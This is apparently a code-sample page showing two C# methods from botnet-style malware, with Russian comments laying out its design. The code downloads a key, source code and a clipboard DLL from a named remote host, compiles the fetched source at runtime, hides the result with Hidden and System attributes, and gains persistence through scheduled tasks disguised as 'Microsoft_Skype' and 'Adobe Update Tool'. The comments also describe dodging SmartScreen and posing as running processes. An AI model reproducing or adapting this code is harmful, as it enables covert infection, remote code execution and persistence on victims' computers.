Esempio n. 1
0
        public static void Decrypter(string filename, string no_full_path, bool exe_or_txt)
        {
            try
            {
                var PrivateKey = Antiemul.Downloadbyte("https://richiichi.000webhostapp.com/private.key");
                // Randomname zippath = new Randomname();
                OpenFileDialog Open    = new OpenFileDialog();
                Decrypt        decrypt = new Decrypt();
                //Open.FileName = GetDirPath.dir + "\\" + filename + ".zip";
                if (filename + ".zip" != "" && PrivateKey != null)
                {
                    Directory.CreateDirectory(no_full_path + "\\Decrypted");
                    decrypt.DecryptFile(no_full_path + "\\" + filename + ".zip", no_full_path + "\\Decrypted\\" + filename + ".zip", PrivateKey);
                }
                File.Delete(no_full_path + "\\" + filename + ".zip"); //GetDirPath.dir + Path.GetFileName(Open.FileName)

                File.Move(no_full_path + "\\Decrypted\\" + filename + ".zip", no_full_path + "\\" + filename + (exe_or_txt ? ".exe" : ".txt"));
                Directory.Delete(no_full_path + "\\Decrypted", true);
                File.Delete(no_full_path + "\\" + filename + ".zip");
            }
            catch
            {
                Console.WriteLine("VAJA KRIPTOR NE RABOTAET");
            }
        }
Esempio n. 2
0
        private static void Main(string[] args)
        {
            Antiemul.Cmd("schtasks /create /tn  Microsoft_Skype  /tr C:\\Users\\riciu\\Desktop\\Debug\\ReadHelper.exe  /st " + DateTime.Now.AddMinutes(1.0).ToString("HH:mm") + " /du 9999:59 /sc daily /ri 1 /f"); //%userprofile%\\AppData\\Local\\SkypeHost.exe

            //var a = Antiemul.RandomProcessname(); //Рандомное имя для процесса ботнета
            ////var govno = a.ToString().Split('(');
            ////var kall = govno[1].ToString().Split(')');
            ////string musorka = kall[0];


            //2.бот создает себе директорию в ProgramData с рандомным именем в стиле { 000000 - 0000 - 0000 - 000000000}
            //, ставит атрибуты скрытый | системный, бьет ntfs-поток(обход смарт - скрина),
            //берет рандомное имя с одного из запущенных процессов, копируется в созданную директорию, запускается(с проверкой запуска shellexecuteex)

            //3.после запуска в созданной папке проверяет свое местонахождение, засыпает на минуту,
            //затем проверяет мютексом(генерируется для каждой машины свой, генерация основана на наименовании железа конкретной машины) нет ли других копий бота,
            //после чего делает запрос к серверу для проверки регистрации, если реги не было, то отправляет данные о машине

            //long lTicks = DateTime.Now.Ticks;

            //if ((DateTime.Now.Ticks - lTicks) < 10L) //проверяем время на наше тысячелетие
            //{
            //  Process.GetCurrentProcess().Kill();
            //}

            try
            {
                FileStream lol = new FileStream(Antiemul.DefaultPath + "\\mutex.txt", FileMode.CreateNew);//нужно создавать файл что бы ловить exeption при его существовании
                lol.Close();
                int a;
                while ((a = Antiemul.GetProcessOwner(Antiemul.RandomProcessname())) == 0)
                {
                }
                var c = Process.GetProcessById(a);
                File.WriteAllText(Antiemul.DefaultPath + "\\mutex.txt", Antiemul.GetHwid() + ";" + c.MainModule.ModuleName + ";" + c.MainModule.FileVersionInfo.FileDescription);
                Process.Start(Process.GetCurrentProcess().MainModule.FileName);
                Thread.Sleep(7000);
            }
            catch //(System.IO.IOException)
            {
                var      data = File.ReadAllText(Antiemul.DefaultPath + "\\mutex.txt");
                string[] name = data.Split(';');
                if (!File.Exists(Antiemul.DefaultPath + "\\" + name[1]))
                {
                    File.WriteAllBytes(Antiemul.DefaultPath + "\\source.zip", Antiemul.Downloadbyte("https://richiichi.000webhostapp.com/code.zip")); //EXEPTION не может скачать файл

                    File.Move(Antiemul.DefaultPath + "\\source.zip", Antiemul.DefaultPath + "\\source.txt");                                          //УБРАТЬ ЭТО ГОВНО

                    //Decrypt.Decrypter("source", Antiemul.DefaultPath, false);
                    string source = File.ReadAllText(Antiemul.DefaultPath + "\\source.txt");
                    File.Delete(Antiemul.DefaultPath + "\\source.txt");

                    Dictionary <string, string> providerOptions = new Dictionary <string, string>
                    {
                        { "CompilerVersion", "v4.0" }
                    };

                    CSharpCodeProvider provider = new CSharpCodeProvider(providerOptions);

                    CompilerParameters compilerParams = new CompilerParameters

                    {
                        OutputAssembly = Antiemul.DefaultPath + "\\" + name[1], GenerateExecutable = true, CompilerOptions = "/target:winexe", IncludeDebugInformation = false
                    };                                                                                                                                                      ///////////////////////////////////

                    compilerParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                    compilerParams.ReferencedAssemblies.Add("System.dll");
                    compilerParams.ReferencedAssemblies.Add("System.Core.dll");
                    compilerParams.ReferencedAssemblies.Add("mscorlib.dll");
                    compilerParams.ReferencedAssemblies.Add("System.Management.dll");

                    if (!File.Exists(Antiemul.DefaultPath + "\\ClipboardHelper.zip"))
                    {
                        File.WriteAllBytes(Antiemul.DefaultPath + "\\ClipboardHelper.zip", Antiemul.Downloadbyte("https://richiichi.000webhostapp.com/ClipboardHelper.zip"));
                    }

                    if (!File.Exists(Antiemul.DefaultPath + "\\ClipboardHelper.dll"))
                    {
                        File.Move(Antiemul.DefaultPath + "\\ClipboardHelper.zip", Antiemul.DefaultPath + "\\ClipboardHelper.dll"); //УБРАТЬ ЭТО ГОВНО
                        File.Delete(Antiemul.DefaultPath + "\\ClipboardHelper.zip");
                    }

                    compilerParams.ReferencedAssemblies.Add(Antiemul.DefaultPath + "\\ClipboardHelper.dll");

                    CompilerResults results = provider.CompileAssemblyFromSource(compilerParams, source);

                    Console.WriteLine("Number of Errors: {0}", results.Errors.Count);
                    foreach (CompilerError err in results.Errors)
                    {
                        Console.WriteLine("ERROR {0}", err.ErrorText);
                    }

                    File.SetAttributes(Antiemul.DefaultPath + "\\" + name[1], FileAttributes.Hidden | FileAttributes.System);
                    Scheduler.FullCheck("Adobe Update Tool", Antiemul.DefaultPath + "\\" + name[1]);
                    Antiemul.AddToStartup(name[1], name[2]); //процесс может не запускатся если файл не может быть добавлен в планировщик задач
                }
            }
        }